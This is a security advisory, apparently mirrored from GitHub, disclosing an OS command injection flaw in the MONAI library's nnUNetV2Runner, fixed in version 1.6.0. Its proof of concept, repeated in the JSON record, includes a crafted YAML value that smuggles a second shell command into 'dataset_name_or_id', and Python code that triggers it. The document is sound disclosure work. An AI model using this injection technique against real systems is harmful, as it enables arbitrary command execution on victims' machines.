GHSA-RGHG-Q7WP-9767
Vulnerability from github – Published: 2026-08-18 20:22 – Updated: 2026-08-18 20:22Comment from JPCERT/CC
We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.
It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.
Summary
MONAI vulnerable to OS command injection.
Details
This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.
As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).
The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.
PoC
Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.
dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results
As a victim, verify running the following Python code to load and process the YAML file.
from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path
Path of the crafted YAML file
YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml"
Text file overwritten when command executes
OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt")
Read YAML
runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0)
Verify command execution
print("Result:", OUT.read_text(encoding="utf-8").strip())
Also, see the attached file. JVN#50379904-details.zip
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "MONAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:22:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Comment from JPCERT/CC\nWe are submitting the report again as we have yet to receive\nany responses from you after submitting it on February 5 and March 11.\n\nIt would be greatly appreciated if you could send us a message\nafter confirming it so that we can follow up the case by email.\n\n### Summary\nMONAI vulnerable to OS command injection.\n\n### Details\nThis library concatenates user-controlled values (YAML\u0027s\n\"dataset_name_or_id\" or part of \"CLI/kwargs\")\nwithout quoting or validation. Since this string is passed to subprocess\nwith shell=True,\nshell metacharacters (e.g., Windows: \u0026 / Linux: ;) are interpreted.\n\nAs a result, arbitrary commands can be concatenated and executed.\nTherefore, the reporter identifies this as CWE-78 (OS Command Injection).\n\nThe victim needs to load a crafted YAML file in the code that launches\ntraining/validation jobs\nbased on the configuration (YAML/arguments). There are no other constraints.\n\n### PoC\nVerified on Windows.\nLoad a modified YAML file with crafted \"dataset_name_or_id\" as follows.\nAdd command separator characters (such as \u0026 or ;) and insert arbitrary\ncommands.\n\ndataset_name_or_id: \u00274 \u0026 echo \"This is exploited\" \u003e\n\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\" \u0026 rem\u0027\ndataroot: C:/Users/shima/OneDrive/Desktop/tmp/data\ndatalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json\nwork_dir: C:/Users/shima/OneDrive/Desktop/tmp/work\nnnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw\nnnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed\nnnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results\n\nAs a victim, verify running the following Python code to load and\nprocess the YAML file.\n\nfrom monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner\nfrom pathlib import Path\n#Path of the crafted YAML file\nYAML = r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.yaml\"\n#Text file overwritten when command executes\nOUT = Path(r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\")\n#Read YAML\nrunner = nnUNetV2Runner(input_config=YAML,\ntrainer_class_name=\"nnUNetTrainer\")\nrunner.train_single_model(config=\"3d_fullres\", fold=0, gpu_id=0)\n#Verify command execution\nprint(\"Result:\", OUT.read_text(encoding=\"utf-8\").strip())\n\nAlso, see the attached file.\n[JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)",
"id": "GHSA-rghg-q7wp-9767",
"modified": "2026-08-18T20:22:38Z",
"published": "2026-08-18T20:22:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-rghg-q7wp-9767"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/pull/8885"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MONAI vulnerable to OS command injection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.